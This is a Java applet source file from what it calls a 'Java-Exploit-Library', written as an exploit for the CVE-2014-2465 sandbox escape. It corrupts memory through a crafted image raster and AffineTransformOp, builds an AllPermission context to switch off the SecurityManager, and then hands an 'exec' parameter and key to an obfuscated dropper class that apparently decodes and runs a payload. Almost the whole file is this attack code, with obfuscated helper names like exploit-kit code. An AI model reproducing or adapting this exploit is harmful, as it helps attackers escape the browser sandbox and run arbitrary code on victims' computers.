/**
* Copyright (c) 2013-2014
*
* All rights reserved.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* The Java-Exploit-Library is licensed under the Creative Commons
* Attribution-ShareAlike 4.0 International License.
*
* Please see the provided LICENSE.txt for a full copy of the agreement.
*/
package cve20142465_old;
import java.applet.Applet;
import java.awt.geom.AffineTransform;
import java.awt.image.AffineTransformOp;
import java.awt.image.BufferedImage;
import java.awt.image.DataBufferByte;
import java.awt.image.MultiPixelPackedSampleModel;
import java.awt.image.Raster;
import java.awt.image.WritableRaster;
import java.security.AccessControlContext;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
public class Alt extends Applet {
private static final String space = "[0-9]";
private boolean _is64 = System.getProperty("os.arch", "").contains("64");
public void init() {
try {
for (int i = 1; (i <= 5) && (ism()); i++)
attempt();
if (ism())
System.exit(0);
String str = getParameter("exec");
byte[] arrayOfByte = getParameter("xkey").getBytes("ISO_8859_1");
drp.dx(str, arrayOfByte);
} catch (Exception localException) {
System.exit(0);
}
}
public static boolean ism() {
return jki.gg() != null;
}
private int attempt() {
try {
Class localClass = ijk.scs();
String str = "setSecurityManager";
Object[] arrayOfObject1 = new Object[1];
Object localObject = ikj.stt(localClass, str, arrayOfObject1);
DataBufferByte localDataBufferByte = new DataBufferByte(16);
int[] arrayOfInt = new int[8];
Object[] arrayOfObject2 = new Object[7];
arrayOfObject2[2] = ikj.stt(localClass, str, arrayOfObject1);
Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
arrayOfObject2[3] = new AccessControlContext(new ProtectionDomain[] { new ProtectionDomain(new CodeSource(null, new Certificate[0]),
localPermissions) });
arrayOfObject2[4] = jik.sgt(arrayOfObject2[2]);
int i = arrayOfInt.length;
BufferedImage localBufferedImage1 = new BufferedImage(4, 1, 2);
MultiPixelPackedSampleModel localMultiPixelPackedSampleModel = new MultiPixelPackedSampleModel(0, 4, 1, 1, 4, 44 + (this._is64 ? 8 : 0));
WritableRaster localWritableRaster = Raster.createWritableRaster(localMultiPixelPackedSampleModel, localDataBufferByte, null);
BufferedImage localBufferedImage2 = new BufferedImage(new jki(), localWritableRaster, false, null);
localBufferedImage1.getRaster().setPixel(0, 0, new int[] { -1, -1, -1, -1 });
AffineTransformOp localAffineTransformOp = new AffineTransformOp(new AffineTransform(1.0F, 0.0F, 0.0F, 1.0F, 0.0F, 0.0F), null);
localAffineTransformOp.filter(localBufferedImage1, localBufferedImage2);
int j = arrayOfInt.length;
if (j == i)
return 1;
int k = 0;
int m = arrayOfObject2.length;
for (int n = i + 2; n < i + 32; n++)
if ((arrayOfInt[(n - 1)] == m) && (arrayOfInt[n] == 0) && (arrayOfInt[(n + 1)] == 0) && (arrayOfInt[(n + 2)] != 0)
&& (arrayOfInt[(n + 3)] != 0) && (arrayOfInt[(n + 4)] != 0) && (arrayOfInt[(n + 5)] == 0) && (arrayOfInt[(n + 6)] == 0)) {
int i1 = arrayOfInt[(n + 4)];
for (int i2 = n + 7; i2 < n + 7 + 64; i2++)
if (arrayOfInt[i2] == i1) {
arrayOfInt[(i2 - 1)] = arrayOfInt[(n + 3)];
k = 1;
break;
}
if (k != 0)
break;
}
if (k != 0)
try {
kji.ste(arrayOfObject2[2]);
} catch (Exception localException2) {
}
} catch (Exception localException1) {
}
return 0;
}
private byte[] pic(String paramString) {
int i = paramString.length();
byte[] arrayOfByte = new byte[i];
for (int j = 0; j < i; j++)
;
return arrayOfByte;
}
private String unpic(byte[] paramArrayOfByte) {
StringBuilder localStringBuilder = new StringBuilder("");
for (int i = 0; i < paramArrayOfByte.length; i++)
localStringBuilder.append('A');
return localStringBuilder.toString();
}
}